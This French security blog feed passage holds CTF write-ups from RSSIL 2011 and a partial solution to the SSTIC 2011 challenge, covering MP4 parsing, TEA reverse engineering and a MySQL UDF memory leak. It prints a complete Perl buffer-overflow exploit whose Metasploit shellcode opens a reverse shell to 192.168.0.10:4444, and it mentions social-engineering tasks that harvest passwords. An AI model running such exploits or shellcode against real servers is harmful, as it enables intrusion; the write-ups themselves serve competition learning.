<p>Et j&rsquo;obtiens :</p>
<pre>Your protocol : HTTP/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</pre>
<p>Compte tenu des informations données, il est tentant de tenter un buffer overflow à ce niveau. Je rejoue donc cette requête en incrémentant le nombre de &laquo;&nbsp;a&nbsp;&raquo;, et parviens à faire crasher la connexion avec environ 600 caractères. En diminuant à tatons, je trouve le nombre de caractères limite : 505. Ce nombre est toutefois aproximatif. L&rsquo;idéal serait d&rsquo;inspecter le code du serveur&#8230;</p>
<p>C&rsquo;est là que l&rsquo;on remarque que deux fichiers nommés rssild.pcat_dump et rssild.maps sont présents dans le directory listing du serveur. Le premier, dans un format a priori inconnu, contient 128 Mo de données binaires. Le deuxième contient le texte suivant :</p>
<pre>0x8048000 0x804a000
0x804a000 0x804b000
0xb7e95000 0xb7e96000
0xb7e96000 0xb7fd6000
0xb7fd6000 0xb7fd8000
0xb7fd8000 0xb7fd9000
0xb7fd9000 0xb7fdc000
0xb7fdf000 0xb7fe2000
0xb7fe2000 0xb7fe3000
0xb7fe3000 0xb7ffe000
0xb7ffe000 0xb7fff000
0xb7fff000 0xb8000000
0xbffdd000 0xc0000000</pre>
<p>Cela ressemble étrangement à une cartographie mémoire, la 1ère ligne correspondant aux adresses de début et de fin de la section .text du binaire mappé en mémoire. Quant au 1er fichier, quelques recherches Google sur &laquo;&nbsp;pcat&nbsp;&raquo; nous amènent sur un <a href="http://blog.nibbles.fr/726">article</a> fort intéressant de la team Nibbles, où il est justement question de ces 2 types fichiers. On y apprend que l&rsquo;outil pcat permet de dumper la mémoire virtuelle d&rsquo;un processus en cours d&rsquo;exécution. Visiblement, l&rsquo;auteur a été sympa en nous fournissant un tel dump. Le fichier maps permet de s&rsquo;y retrouver en utilisant les bons offsets afin de dumper les sections intéresantes. Un bout de code Python est même donné, mais il n&rsquo;est pas adapté dans notre cas car nous ne disposons pas du nom des sections. Qu&rsquo;à cela ne tienne, nous pouvons dumper la section .text manuellement :</p>
<pre>f = open("rssild.pcat_dump","rb")
f.seek(0x8048000)
a = f.read(8192) # 0x804a000 - 0x8048000
open("text.bin","wb").write(a)</pre>
<p>On ouvre le binaire avec IDA, qui affiche quelques erreurs compte tenu du fait qu&rsquo;il s&rsquo;agisse d&rsquo;un binaire incomplet &#8211; uniquement la section .text, pas de table des symboles. Dans la fenêtre Strings, mon attention se porte sur une référence à &laquo;&nbsp;Your protocol :&nbsp;&raquo;, affiché sur la page Web :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_919" class="wp-caption aligncenter" style="width: 491px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/strings.png"><img class="size-full wp-image-919 " title="Strings" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/strings.png" alt="Strings" width="481" height="59" /></a><p class="wp-caption-text">Strings</p></div>
<p>On follow tout ça, et on arrive à un appel du type :</p>
<pre>lea     eax, [esp+0EAE8h]
mov     [esp], eax
call    sub_80490BA
mov     eax, offset aBStyleColorC9d ; "...Your protocol : %s..."
lea     edx, [esp+0EAE8h]
mov     [esp+4], edx
mov     [esp], eax
call    sub_8048930</pre>
<p>Deux appels de fonction, manipulant chacun le même paramètre ([esp+0EAE8h]). Il semble s&rsquo;agir de la chaîne comportant le protocole. Regardons de plus près la 1ère fonction :</p>
<pre>push    ebp
mov     ebp, esp
sub     esp, 218h
mov     eax, [ebp+arg_0]
mov     [esp+4], eax
lea     eax, [ebp+var_1FC]
mov     [esp], eax
call    sub_8048920
leave
retn</pre>
<p>On alloue un buffer statique, et on appelle une fonction qui prend en paramètre ce buffer ainsi que la chaîne&#8230; Cela rappelle étrangement un strcpy() ! Cependant, on ne peut pas le vérifier immédiatement vu que les symboles ne sont pas présents, ni les sections .plt et .got.  En tout cas, la tentation est grande ! Si on regarde de plus près, 0&#215;218 octets sont alloués sur la pile, mais le buffer dans lequel est recopié la chaîne ne fait que 0x1fc octets, soit 508. Si on ajoute à cela la valeur sauvegardée d&rsquo;EBP, on obtient 512 octets. C&rsquo;est cette quantité qu&rsquo;il faudra réécrirre si l&rsquo;on souhaîte écraser la sauvegarde d&rsquo;EIP, située juste après.</p>
<p>En supposant qu&rsquo;il n&rsquo;y ait pas de protection de la pile (pas de NX), l&rsquo;exploitation par shellcode est faisable. On génère un payload Metasploit avec msfpayload et msfencode (pour ne pas obtenir de caractère nul, ni de \n ou \r) qui effectue une reverse connection sur notre port 4444, et on code un petit exploit (en Perl, puisque c&rsquo;est le langage de prédilection de mon coéquipier <a href="http://shell-storm.org/">Djo</a>) :</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if (@ARGV &lt; 1)
{
print "[-] Usage:   \n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}

$ip 	 = $ARGV[0];
$port 	 = $ARGV[1];
$paddind = "A"x408;
$eip  = "\x3b\x99\x04\x08"; #call *(%eax)

#revers tcp 192.168.0.10 4444 - 99 bytes
$SC = "\xb8\x95\x94\x45\x41\xda\xca\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x13\x31\x46\x12\x83\xc6\x04\x03\xd3\x9a\xa7\xb4\xea" .
"\x79\xd0\xd4\x5f\x3d\x4c\x71\x5d\x48\x93\x35\x07\x87\xd4" .
"\x6d\x99\x7f\x15\x39\x25\x8a\xf3\x52\x34\xd6\x9d\xf1\x5c" .
"\xf6\x30\xa6\x29\x17\xf1\x2c\x4f\x80\x3b\x30\xd6\xb7\x1d" .
"\x81\xd7\x7a\x1d\xab\x5e\x7c\x4e\x44\x8f\x51\x1c\xfc\xa7" .
"\x82\x80\x95\x59\x54\xa7\x36\xf6\xef\xc9\x07\xf3\x22\x89" .
"\x62" . $paddind . $eip;

$evil 	= "GET / HTTP/$SC\r\nHOST:$ip:$port\r\n\r\n";

$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",
PeerAddr =&gt; "$ip",
PeerPort =&gt; "$port") || die "[-] Connecting: Failed!\n";

print "Please Wait...\n";

$socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp",
PeerAddr =&gt; "$ip",
PeerPort =&gt; "$port");
$socket-&gt;send($evil);
$socket-&gt;recv($answer,2048);
print $answer;
print "\n";
close($socket);</pre>
<p>Ajoutons à cela un petit netcat ouvert en local sur le port 4444, et bingo ! On obtient un shell distant, qui nous permet d&rsquo;afficher le flag de l&rsquo;épreuve. 700 points de validés d&rsquo;ou coup !</p>
<p>Notons qu&rsquo;au moment voulu, nous avons beaucoup plus galéré que ça, principalement à cause de la fatigue&#8230; L&rsquo;auteur de l&rsquo;épreuve, ipv, a été assez sympa pour leaker le binaire du serveur, ce qui nous a pas mal aidé. Mais finalement et avec un minimum de recul, il n&rsquo;y en avait nullement besoin pour résoudre l&rsquo;épreuve.</p>
<h3>Le reste</h3>
<p>Le challenge était également composé de plein d&rsquo;autres épreuves de types variés, de mémoire :</p>
<ul>
<li> <strong>Wifi </strong>: une épreuve de cassage de clés WEP et WPA- classique, sauf que quand on ne dispose pas de chipset ni de clé adéquate, on fail. Sinon, il y avait aussi une épreuve visant à exploiter une faille sur une Livebox à partir d&rsquo;un accès utilisateur limité sur le portail Web.</li>
<li> <strong>Social Engineering </strong>: toute une série d&rsquo;épreuves non techniques assez sympa, comme par exmple se faire passer pour une personne en reconstituant son CV à partir d&rsquo;informations glanées sur le net, téléphoner à un numéro et trouver un prétexte pour demander un mot de passe, et même récupérer un maximum de mots de passe appartenant aux étudiants d&rsquo;IUT qui partiaipaient à un autre challenge à côté de nous <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li> <strong>Hardware </strong>: Une épreuve visant à reprogrammer une carte à puce pour trouver un code PIN, un challenge USB où il fallait programmer un <a href="http://www.pjrc.com/teensy/">Teensy</a> pour bruteforcer un mot de passe en disposant uniquement d&rsquo;un port USB pendant 2 min chrono&#8230; Heureusement que notre spécialiste hardware était là !</li>
<li> <strong>Forensics / Reverse Engineering</strong> : déchiffrer un fichier sachant que le binaire ayant permis à le chiffrer était fourni, et 3 crack-mes ELF 64 bits, PE packé avec ASProtect, et MIPS.</li>
<li> <strong>Réseau / VoIP </strong>: Du port-knocking, et des communications VoIP à intercepter entre plusieurs machines. Malheureusement, nous n&rsquo;avons réussi aucune de ces épreuves&#8230;</li>
</ul>
<p>Bref, pas de quoi s&rsquo;ennuyer lors de cette longue nuit.</p>
<p>Retrouvez les solutions ainsi que les sources de certains de ces challenges sur <a href="http://howto.shell-storm.org/">Shell-storm.org</a>.</p>
<h3>Remise des prix</h3>
<p>Au final, notre équipe remporte le challenge avec 6550 points, devant Error 404 (4025) et On_Va_p0wn_HzV (3900). Chacun des membres de notre équipe repart contre toute attente avec un ordinateur portable Compaq.</p>
<div id="attachment_922" class="wp-caption aligncenter" style="width: 501px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000993_redim.jpg"><img class="size-large wp-image-922  " title="Scores intermédiaires" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000993_redim-1024x768.jpg" alt="Scores intermédiaires" width="491" height="369" /></a><p class="wp-caption-text">Scores intermédiaires</p></div>
<div id="attachment_923" class="wp-caption aligncenter" style="width: 501px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000994_redim.jpg"><img class="size-large wp-image-923  " title="Scores définitifs" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/P1000994_redim-1024x768.jpg" alt="Scores définitifs" width="491" height="369" /></a><p class="wp-caption-text">Scores définitifs</p></div>
<p>Nous tenons à féliciter toutes les équipes pour leur courage et leur acharnement. Un grand merci à toute l&rsquo;équipe d&rsquo;ACISSI pour sa générosité envers les gagnants, ainsi que pour avoir organisé un événement dont les nombreux challenges ne manquaient ni d&rsquo;originalité, ni de qualité.</p>
<p>A bientôt pour un mois de juin chargé avec le <a href="https://www.sstic.org">SSTIC</a> (8, 9 et 10), <a href="http://www.hackinparis.com">Hack In Paris</a> (14-17), et la <a href="http://nuitduhack.com/">Nuit Du Hack</a> (18-19) <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Solution partielle du challenge SSTIC 2011</title>
		<link>http://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/#comments</comments>
		<pubDate>Thu, 26 May 2011 17:10:31 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=898</guid>
		<description><![CDATA[Cela fait un petit moment que je planche sur le célèbre challenge de SSTIC 2011. Étant donné que je ne pense pas en venir complétement à bout, voici quelques éléments de réponses qui résument ma progression. Certains m&#8217;ayant devancé, je vais tenter d&#8217;insister sur les parties non couvertes actuellement. Extraction des pistes Le but est [...]]]></description>
			<content:encoded><![CDATA[<p>Cela fait un petit moment que je planche sur le célèbre <a href="http://communaute.sstic.org/ChallengeSSTIC2011">challenge de SSTIC 2011</a>. Étant donné que je ne pense pas en venir complétement à bout, voici quelques éléments de réponses qui résument ma progression. <a href="http://exploitability.blogspot.com/2011/05/solution-partielle-du-challenge-sstic.html">Certains</a> m&rsquo;ayant devancé, je vais tenter d&rsquo;insister sur les parties non couvertes actuellement.</p>
<p><span id="more-898"></span></p>
<h3>Extraction des pistes</h3>
<p>Le but est d&rsquo;analyser une vidéo et d&rsquo;en extraire un mail. Il s&rsquo;agit d&rsquo;une vidéo au format MP4. Ne connaissant absolument pas ce format au moment où je me suis penché sur le challenge, j&rsquo;ai donc préféré me documenter sur le sujet. MP4 est en réalité un conteneur, et hérite de l&rsquo;<a href="http://en.wikipedia.org/wiki/ISO_base_media_file_format">ISO Base Media File Format</a>. Les <a href="http://standards.iso.org/ittf/PubliclyAvailableStandards/c051533_ISO_IEC_14496-12_2008.zip">specs</a> de ce dernier sont libres de droits, mais pas celles de MP4. Qu&rsquo;à cela ne tienne, elles suffisent amplement.</p>
<p>On y apprend que MP4 permet de stocker tout type d&rsquo;information : vidéo, son, et autre. Un fichier MP4 est décomposé en boxes, qui sont structurées sous la forme d&rsquo;un arbre. L&rsquo;outil MP4Box permet de les parser, mais je ne l&rsquo;ai découvert que tardivement ; aussi je me suis lancé dans l&rsquo;écriture d&rsquo;un outil manuel en Python.</p>
<pre>E:\Challenges\SSTIC2011&gt;boxes.py challenge
challenge {
  FileTypeBox(24 - ftyp - mp42 - 0),
  Box(4170138 - mdat),
  Box(277450 - mdat),
  Box(178748 - mdat),
  MovieBox(12507 - moov) {
    Box(108 - mvhd),
    TrackBox(5982 - trak - 0 ) {
      Box(92 - tkhd),
      SsticBox(12 - ssti)[   ?ssti    ],
      MediaBox(5822 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - vide -  ),
        MediaInformationBox(5749 - minf) {
          Box(20 - vmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(5685 - stbl) {
            SampleDescriptionBox(181 - stsd) {
              1 entries
              VisualSampleEntry(165 - mp4v - index: 1) {
                size: 640x480
                resolution: 0x00480000/0x00480000
                compressorname:
                depth: 0018

              }
            },
            Box(3248 - stts),
            SampleSizeBox(2092 - stsz) {
              sample_size = 0
              sample_count = 518

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(88 - stco) {
              18 entries
            },
            Box(28 - stss)
          }
        }
      },
      Box(48 - edts)
    },
    TrackBox(3492 - trak - 1 ) {
      Box(92 - tkhd),
      MediaBox(3372 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - soun -  ),
        MediaInformationBox(3299 - minf) {
          Box(16 - smhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(3239 - stbl) {
            SampleDescriptionBox(103 - stsd) {
              1 entries
              Box(87 - mp4a)
            },
            Box(24 - stts),
            SampleSizeBox(2980 - stsz) {
              sample_size = 0
              sample_count = 740

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(84 - stco) {
              17 entries
            }
          }
        }
      },
      UserDataBox(20 - udta) {
        NameBox(12 - name -    ?name    )
      }
    },
    TrackBox(2917 - trak - 2 ) {
      Box(92 - tkhd),
      MediaBox(2817 - mdia) {
        Box(32 - mdhd),
        HandlerBox(45 - hdlr - data - SsticHandler ),
        MediaInformationBox(2732 - minf) {
          Box(12 - nmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(2676 - stbl) {
            SampleDescriptionBox(32 - stsd) {
              1 entries
              ElfEntry(16 - elf  - index: 1)
            },
            Box(24 - stts),
            SampleToChunkBox(1552 - stsc) {
              128 entries
            },
            SampleSizeBox(532 - stsz) {
              sample_size = 0
              sample_count = 128

            },
            ChunkOffsetBox(528 - stco) {
              128 entries
            }
          }
        }
      }
    }
  }
}</pre>
<p>Le fichier est ainsi composé de 3 tracks : une video, une piste son, et une piste apparemment inconnue. On peut extraire chacune de ces pistes en utilisant les méta-données du fichier, et en particulier les tables STSZ, STSC et STCO. L&rsquo;algorithme d&rsquo;extraction n&rsquo;est pas bien complexe et peut être trouvé grâce aux spécifications.</p>
<p>La piste audio est en clair, mais pas très utile &#8211; quelque chose qui ressemble à des frappes sur un clavier. La vidéo est illisible, a priori chiffrée grâce à des DRM. Enfin, la piste 3 n&rsquo;est autre qu&rsquo;un fichier ELF !</p>
<h3>Analyse du fichier ELF</h3>
<p>Avec IDA, on s&rsquo;aperçoit rapidement que le binaire n&rsquo;est autre qu&rsquo;un plugin VLC. En effet, il comporte tous les symboles propres à ce type de plugin.On suppose que ce plugin est nécessaire à la lecture de ladite vidéo. Les sources de VLC permettant de se rendre compte qu&rsquo;il s&rsquo;agit en fait d&rsquo;une version modifiée du plugin officiel libmp4.so. Un certain nombre de fonctions ont été ajoutées :</p>
<ul>
<li>sstic_drm_init()</li>
<li>sstic_read_secret1(char*dir, char* buf1)</li>
<li>sstic_check_secret1(char*buf1)</li>
<li>sstic_read_secret2(char*dir, char*buf2)</li>
<li>sstic_check_secret2(char*buf2)</li>
<li>sstic_lame_derive_key(char* bufKey, char* buf1, char* buf2)</li>
</ul>
<p>Il est possible de débuger le plugin en le plaçant dans le dossier des librairies de VLC sur une machine Linux, puis en s&rsquo;attachant à VLC avec GDB.</p>
<p>En gros, sstic_drm_init() est appelée dès l&rsquo;initialisation du plugin, et est chargée d&rsquo;appeler les fonctions suivantes. Le but de ce plugin est de déchiffrer la vidéo a l&rsquo;aide d&rsquo;une clé générée à partir de deux fichiers, secret1.dat et secret2.dat situés dans le dossier ~/sstic2011/. Voici un schéma expliquant l&rsquo;algorithme reversé à grand coup d&rsquo;IDA et Hex Rays :</p>
<p style="text-align: center;">&nbsp;</p>
<div class="mceTemp mceIEcenter" style="text-align: left;">
<dl id="attachment_900" class="wp-caption aligncenter" style="width: 545px;">
<dt class="wp-caption-dt"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011.png"><img class="size-full wp-image-900  " title="sstic2011" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011.png" alt="Algorithme de déchiffrement" width="535" height="119" /></a></dt>
<dd class="wp-caption-dd">Algorithme de déchiffrement</dd>
</dl>
</div>
<p style="text-align: left;">Pour résumer :</p>
<ul>
<li>secret1.dat (32 octets) est lu, puis son emprunte MD5 est calculée et comparée avec une constante présente en dur dans le binaire</li>
<li>secret2.dat (1024 octets) est lu, puis déchiffré à l&rsquo;aide d&rsquo;un algorithme symétrique maison (cf plus bas) et d&rsquo;une clé fixe stockée. Le plaintext résultant est comparé à un plaintext lui aussi stocké en dur.</li>
<li>Si les deux tests précédents réussissent, les 2 secrets originaux sont passés à la fonction sstic_lame_derive_key, qui ne fait que les xorrer pour finalement obtenir un secret de 32 octets (pour secret1.dat, qui fait 1024 octets, tous les blocs de 32 octet sont xorrés)</li>
<li>Le secret résultant est utilisé comme une clé RC2 qui servira à déchiffrer chaque sample de la vidéo lors de sa lecture. Au passage, l&rsquo;implémentation RC2 est la même que celle d&rsquo;OpenSSL, pas de soucis de ce côté la.</li>
</ul>
<p>Autrement dit, il nous faut nécessairement secret1 et secret2 si l&rsquo;on veut déchiffrer la vidéo. C&rsquo;est là que les choses se compliquent&#8230;</p>
<h3>Secret2.dat : Crypto + MMX</h3>
<p style="text-align: left;">Pour trouver secret2.dat, on remarque qu&rsquo;il &laquo;&nbsp;suffit&nbsp;&raquo; d&rsquo;inverser l&rsquo;algorithme de déchiffrement implémenté dans la fonction &laquo;&nbsp;decrypt&nbsp;&raquo;, pour trouver le chiffré qui donnera le bon clair une fois déchiffré. Cependant, il ne s&rsquo;agit pas directement d&rsquo;un algorithme standard&#8230; Celui-ci utilise massivement les instructions Intel MMX, qui manipulent des entiers sur 128 bits. Le code ASM est une horreur, et je ne parle pas du listing généré par Hex Rays&#8230;</p>
<p style="text-align: center;">&nbsp;</p>
<div class="mceTemp mceIEcenter" style="text-align: left;">
<dl id="attachment_901" class="wp-caption aligncenter" style="width: 599px;">
<dt class="wp-caption-dt"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011_decrypt.png"><img class="size-full wp-image-901  " title="sstic2011_decrypt" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011_decrypt.png" alt="Pseudo-code de decrypt()" width="589" height="244" /></a></dt>
<dd class="wp-caption-dd">Pseudo-code partiel de decrypt()</dd>
</dl>
</div>
<p style="text-align: left;">Pas moins de 351 variables, plus de 2100 lignes de code, et des opérations logiques dans tous les sens. Miam ! Bon, on prend notre courage à deux mains, et on y va. Premièrement, on remarque l&rsquo;utilisation de constantes un peu particulières.</p>
<pre style="text-align: left;">for ( sum = 0x9E3779B9 * a3; ; sum += -0x9E3779B9u ) {</pre>
<p style="text-align: left;">Notre ami Google nous indique qu&rsquo;une boucle faisant intervenir de telles constantes est utilisée par les algorithmes <a href="http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm">TEA</a> et <a href="http://en.wikipedia.org/wiki/XTEA">XTEA</a>. Cependant, ces algorithmes ont une taille de clé de 128 bits, et une taille de bloc de 64 bits, alors qu&rsquo;ici, la clé fait 2048 octets&#8230;</p>
<p style="text-align: left;">Deuxièmement, on s&rsquo;aperçoit qu&rsquo;il y a beaucoup de code redondant dans ce listing. Cela est du à l&rsquo;utilisation intensive des techniques de <a href="http://en.wikipedia.org/wiki/Loop_unwinding">loop unrolling</a>, qui consistent en gros à minimiser le nombre de tours dans une boucle en écrivant n fois la même instruction dans un tour (appliqué à des données différentes).</p>
<p style="text-align: left;">Troisièmement, en supposant qu&rsquo;il s&rsquo;agisse de l&rsquo;algorithme TEA, la logique voudrait qu&rsquo;on trouve des opérations + et -. Or ce n&rsquo;est pas le cas ici ; on a affaire à des opérations logiques uniquement. Après on long moment de réflexion, je me suis rendu compte que ces opérations logiques servent en réalité à propager des retenues&#8230; utilisées justement lors des opérations d&rsquo;addition et soustraction. On se rend ainsi compte que chaque addition a été remplacé par une série de xor, not et and équivalente au schéma suivant :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_904" class="wp-caption aligncenter" style="width: 436px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/additionneur.gif"><img class="size-full wp-image-904 " title="Additionneur" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/additionneur.gif" alt="Additionneur" width="426" height="255" /></a><p class="wp-caption-text">Additionneur</p></div>
<p style="text-align: left;">Attention, chaque fil ici représente non pas 1 bit, mais 128, soit 16 octets ! En gros, l&rsquo;auteur du challenge a réimplémenté son propre + et &#8211; en recodant ces 2 opérations, prenant comme unité 128 bits de données. Soit !</p>
<p style="text-align: left;">En utilisant toutes ces information, et une bonne dose de motivation, j&rsquo;ai pu confirmé qu&rsquo;il s&rsquo;agit bien de l&rsquo;algorithme TEA, qui finalement n&rsquo;est pas si complexe que ça (cf Wikipédia) :</p>
<pre style="text-align: left;">
<pre>void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i&lt;32; i++) {                         /* basic cycle start */
        v1 -= ((v0&lt;&lt;4) + k2) ^ (v0 + sum) ^ ((v0&gt;&gt;5) + k3);
        v0 -= ((v1&lt;&lt;4) + k0) ^ (v1 + sum) ^ ((v1&gt;&gt;5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}</pre>
<p>A la différence près que les uint32 de ce code doivent être remplacés par des blocs de 16 octets. Autrement dit, toutes les tailles doivent être multipliées par 4. Cela n&rsquo;étant pas standard, il n&rsquo;existe aucune librairie (à ma connaissance) faisant cela. Il est donc nécessaire de recoder l&rsquo;opération encrypt() à la main !</p>
<p>Pour cela, j&rsquo;ai copié/collé le code d&rsquo;Hex Rays dans un fichier .c, puis je l&rsquo;ai adapté afin qu&rsquo;il compile dans un premier temps avec Visual Studio. Puis je l&rsquo;ai optimisé en taille (suppression du loop unrolling). Et enfin, je l&rsquo;ai inversé afin d&rsquo;effectuer non pas un déchiffrement, mais un chiffrement.</p>
<p>On lance tout ça avec le plaintext et la clé tous deux stockés en dur dans le programme, et on obtient un secret2.dat valide. J&rsquo;ai pu le confirmer en debuggant le plugin avec GDB, un breakpoint étant posé au bon endroit dans sstic_check_secret2(). Et une étape de passée !</p>
<h3>Secret1.dat : MySQL, UDF and rock&rsquo;n roll</h3>
<p>Ici, contrairement à secret2.dat, nous ne disposons que du MD5 du fichier. Bruteforcer 32 octets étant une perte de temps, il doit donc y avoir un moyen de l&rsquo;obtenir&#8230; J&rsquo;ai séché pendant pas mal de temps, et c&rsquo;est là que l&rsquo;appel à un ami a servi (merci Dad) !</p>
<p>Ceux qui ont regardé le fichier original de la vidéo dans un éditeur auront certainement remarqué le &laquo;&nbsp;introduction.txt&nbsp;&raquo;. Il s&rsquo;agit en réalité du nom d&rsquo;un fichier texte qui a été gzipé et embarqué dans la vidéo. Malheureusement, il n&rsquo;est pas en un seul bloc, mais en plusieurs, qui ont été éparpillées dans le fichier, aux endroits non utilisés (un fichier MP4 peut contenir du &laquo;&nbsp;vide&nbsp;&raquo;). Lors de notre opération d&rsquo;extraction des pistes, nous nous sommes focalisés sur les données utiles du fichier. Et si nous faisions l&rsquo;inverse ? Le fichier gzip peut être obtenu justement grâce à ce procédé, c&rsquo;est-à-dire en suppriment tous les chunks non utilisés du fichier.</p>
<p>Une fois décompressé, on obtient la notice suivante :</p>
<pre>Cher participant,
Le développeur étourdi d'un nouveau système de gestion de base de données
révolutionnaire a malencontreusement oublié quelques fichiers sur son serveur
web. Une partie des sources et des objets de ce SGBD pourraient se révéler
utile afin d'exploiter une éventuelle vulnérabilité.
Sauras-tu en tirer profit pour lire la clé présente dans le fichier
secret1.dat ?
url      : http://XX.XX.XX.XX/ login    : sstic2011 password : XXXXXXXX
--------------------------------------------------------------------------------
Toute attaque par déni de service est formellement interdite. Les organisateurs
du challenge se réservent le droit de bannir l'adresse IP de toute machine
effectuant un déni de service sur le serveur.
--------------------------------------------------------------------------------</pre>
<p>On se connecte sur l&rsquo;URL fournie, et on récupère trois fichiers :</p>
<ul>
<li>udf.so</li>
<li>udf.c</li>
<li>lobster_dog.jpg (s&rsquo;il s&rsquo;agit d&rsquo;une blague de l&rsquo;auteur du challenge, je n&rsquo;ai pas du la saisir <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ul>
<p>UDF signifie User Defined Functions ; il s&rsquo;agit de plugins MySQL permettant de rajouter des fonctions sur un serveur. Le port 3306 du serveur hébergeant ces fichiers est ouverts, et les mêmes identifiants fonctionnent. Il y a donc bien quelque chose à exploiter ici. Fouillons un peu :</p>
<pre>mysql&gt; select version();
+------------------+
| 1.3.337sstic2011 |
+------------------+
| 1.3.337sstic2011 |
+------------------+
1 row in set (0.56 sec)

mysql&gt; show databases;
+----------+
| Database |
+----------+
|   system |
|    sstic |
+----------+
2 rows in set (0.22 sec)

mysql&gt; use sstic;
Database changed
mysql&gt; show tables;
+--------+
| Tables |
+--------+
|  users |
+--------+
1 row in set (0.20 sec)

mysql&gt; select * from users;
+------+--------+----------------------------------+
| id   | login  | password                         |
+------+--------+----------------------------------+
| 0    | root   | 3e47b75000b0924b6c9ba5759a7cf15d |    =&gt; nothing
| 1    | guest  | a76637b62ea99acda12f5859313f539a |    =&gt; interesting
| 2    | nobody | 6c92285fa6d3e827b198d120ea3ac674 |    =&gt; here
| 3    | *      | 5058f1af8388633f609cadb75a75dc9d |    =&gt; .
+------+--------+----------------------------------+
4 rows in set (0.28 sec)

mysql&gt; use system;
Database changed
mysql&gt; show tables;
+-------------+
| Tables      |
+-------------+
| information |
+-------------+
1 row in set (0.23 sec)

mysql&gt; select * from information;
+------------------+----------+
| version          | security |
+------------------+----------+
| 1.3.337sstic2011 | SECCOMP  |
+------------------+----------+
1 row in set (0.22 sec)</pre>
<p>Visiblement SECCOMP est activé, ce qui nous empêchera d&rsquo;effectuer des appels systèmes autres que read() et write() sur des fichiers déjà ouverts. Croisons donc les doigts pour que le serveur ouvre secret1.dat en lecture avant d&rsquo;activer ce mode <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Une petite analyse du .c (analysé en partie sur <a href="http://exploitability.blogspot.com/2011/05/solution-partielle-du-challenge-sstic.html">ce blog</a>) montre que celui-ci possède un bug dans la gestion d&rsquo;un champ union, et est vulnérable à deux failles :</p>
<ul>
<li>Une fuite d&rsquo;information qui permet d&rsquo;afficher n&rsquo;importe quelle adresse mémoire</li>
<li>Une exécution de code à distance</li>
</ul>
<p>Cependant, ces deux failles restents assez complexes à exploiter compte tenu du fait que nous sommes dans l&rsquo;impossibilité de débugger le serveur distant, et que le udf.so donné ne parvient pas à se lancer sur un serveur MySQL standard. Au moindre problème, la connexion est coupée et il faut tout recommencer.</p>
<p>Toutefois, en exploitant la première faille et son bug de typage, on se rend compte que l&rsquo;on peut obtenir des adresses mémoires :</p>
<pre>mysql&gt; select abs('lala');
+-----------+
| 153315552 |
+-----------+
| 153315552 |
+-----------+
1 row in set (0.59 sec)

mysql&gt; select concat("", 153315552);
+------+
| lala |
+------+
| lala |
+------+
1 row in set (0.20 sec)</pre>
<p>En réalité, 153315552 n&rsquo;est pas directement l&rsquo;adresse de la chaîne &laquo;&nbsp;lala&nbsp;&raquo;, mais l&rsquo;adresse de la structure &laquo;&nbsp;val&nbsp;&raquo; correspondante, qui ressemble à ceci :</p>
<pre>struct val {
  int unknown;
  union value {
    int i;                    //4
    void * p;                 //4
  }
  int size;                   //8
  int *(expand)(val*);        //12
}</pre>
